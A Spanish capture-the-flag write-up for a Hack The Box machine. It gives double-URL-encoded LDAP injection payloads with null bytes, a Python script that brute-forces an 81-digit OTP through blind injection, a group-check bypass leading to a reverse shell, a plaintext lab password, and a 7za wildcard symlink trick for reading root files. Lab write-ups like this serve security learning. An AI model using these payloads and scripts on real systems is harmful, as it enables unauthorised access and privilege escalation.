HTB-CTF
IP -> 10.10.10.122
Reconocimiento
Nmap
Utilizamos nmap y obtenemos los siguientes resultados. CTF Nmap Result
Como vemos un servicio http corriendo, lanzamos el script de nmap http-enum para enumerar posibles rutas.
login.php
Encontramos un WAF porque no encontramos el servicio, esperamos un minuto a que nos quiten el ban.
No podemos aplicar fuerza bruta
http
En la página vemos que hablan de tokens. Y que tiene un bloqueo de 5 minutos. Tenemos un panel de autenticación. Vamos a probar cosas:
Admin:1234
User not found. Podemos enumerar usuarios válidos. Pero probamos algunos y no conseguimos gran cosa. Probamos una inyección SQL. Pero no conseguimos hacer nada. Probamos diferentes sentencias y comprobamos que el “=” es un badchar.
Fuzzeamos con wfuzz y con el diccionario de carácteres especiales de seclists. (special-chars.txt). Probamos a utilizar esos caracteres normal y tambien encodearlo en urlencode y también double_urlencode.
El número de palábras 233 se repite mucho asi que lo ocultamos.
Probamos con otro diccionario de seclists (double-uri-hex.txt) que tiene más caractéres y está ya double urlencodeado.
Chars
- %2528 -> (
- %2529 -> )
- %255c -> \
- %252a -> *
Por los tipos de carácteres que nos bloquea parece ldap. Un ejemplo de como puede esta rmontado por detras puede ser:
(&
(inputOTP-1234)
(inputUsername=caca)
)
Para comprobar la inyección se utiliza el byte nulo %00
El los comentarios de la página vemos que el OTP es de 81 dígitos.
Abrimos el burpsuite para probar cosas.
Codificamos dos veces en url. *))
añadiendo un byte nulo al final. Para verificar cuántos cierres de paréntesis son necesarios vamos añadiendo. *)))
+nullbyte. Al mandar 3 paréntesis nos responde con “Cannot login”, la respuesta ha cambiado. Con la nueva información suponemos otra estructura diferente.
(&
(&
(inputOTP-1234)
(inputUsername=caca)
)
)
Para sacar un nombre válido, vamos a ir probando sentencias como a*)))
+NullByte itereando la a por cada con todas las letras. La l nos da una respuesta diferente. Seguimos iterando la*)))
hasta conseguir el usuario.
User: ldapuser
Para obtener el OTP, podemos tratar de inyectar un atributo para conseguir el token. En payloadallthethings hay un diccionario para hacer fuerza bruta para conseguir el nombre del atributo. Probamos con la sentencia ldapuser)(FUZZ=*)))
+NullByte, aunque también sería una sentencia válida ldapuser)(FUZZ=*
. Urlencodeamos dos veces los caracteres especiales.
Nos encuentra unos cuantos atributos válidos.
- El que más nos llama la atención es “pager”.
Probamos a obtener el token con la sentencia ldapuser)(pager=a*)))
+NullBytem, iterando la a por cada letra del abecedario. Pero todas las letras nos la detecta igual, pueden ser números, asi que probamos con un diccionario del 1-9. Nos detecta el 2 como válido, podemos seguir iterando los 81 números, o montarnos un script en python tal que:
#!/usr/bin/python
#coding: utf-8
# El coding se pone cuando pueden aparecer tíldes en el código.
from pwn import *
import pdb # Debugging
import string
def def_handler(sig, frame):
print("\n\n[!] Saliendo...\n")
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://10.10.10.122/login.php"
digits = string.digits
attribute = "pager"
def getToken():
token = ""
p1 = log.progress("Fuerza bruta")
p1.status("Iniciando proceso de fuerza bruta")
time.sleep(2)
p2 = log.progress("TOKEN")
for position in range(81):
for digit in digits:
p1.status("Probando el dígito %s en la posición [%s]" % (digit, position))
post_data = {
'inputUsername': f'ldapuser%29%28{attribute}%3d{token}{digit}%2a',
'inputOTP': '1234'
}
r = requests.post(main_url, data=post_data)
if 'Cannot login' in r.text:
token += digit
p2.status(token)
break
time.sleep(1)
if __name__ == '__main__':
getToken()
Token
Como en la página pone que necesitamos un “software token”, buscamos en github algún proyecto. Compilamos uno de los que nos sale y vamos a probarlo. En el manual de la aplicación que hemos compilado vemos que hay tokens de 81 digitos llamado “Compressed Token Format” CTF. Al poner el token, nos pide un PIN, si ponemos 0000 cuenta como que no ponemos pin, vamos a suponer que no tiene PIN. Pero al probarlo no funciona, hay que cambiar la hora. Para saber la hora de la máquina podemos ver las cabeceras de respuesta HTTP.
date -s HH:MM:SS
Utilizamos otra vez el token. Hemos entrado, y tenemos un campo cmd.
Pero al probar un comando, nos reporta que tenemos que ser root o adm, para poder ejecutar comandos. Eso explica por qué en la sentencia ldap, teníamos que cerrar 3 paréntesis. Para hacer una inyección y bypassear los grupos, realizamos una consulta tal que ldapuser)))
+NullByte, encodeándolo todo con double_urlencode. Al iniciar sesión con ese usuario y un token válido, entramos bypasseando la validación de grupos y ahora ya podemos ejecutar comandos, nos mandamos una reverse shell.
User Pivoting
OS
cat login.php
USER: ldapuser PASS: adwanonwaondiowan
Probamos a conectarnos con ssh, y nos conectamos.
user.txt
Privilege Escalation
OS
id
sudo -l
uname -a
cat /etc/os-release
Como es un CentOS tiene una vulnerabilidad descubierta por s4vitar, relaccionada con ptrace_scope. Kali, parrotOS, CentOS, Red-Hat, son vulnerables, pero para ello tenemos que estar en el grupo sudo, y sirve cuando no dispongamos de contraseña.
cd /
ls
cd backup
Root está haciendo un backup cada minuto, lo comprime con 7za pero utiliza una wild-card. Como el usuario apache tiene capacidad de escritura en la ruta donde lo comprime podemos aprovecharnos de crear archivos con nombres de flags para inyectar comandos en 7za. En 7za podemos utilizar archivos que empiezen con “@” para que operen con links simbólicos. Vamos a intentar que comprima el directorio /root, y ocasionar un error para que nos lo muestre en el error.log
ldapuser
tail -f error.log
apache
touch @caca
ln -s -f /root/root.txt caca
Ademas de esta forma también podemos buscar la forma de ejecutar un comando como root.
root.txt
Escrito el 15-12-2021 a las 12:16 am por creep33.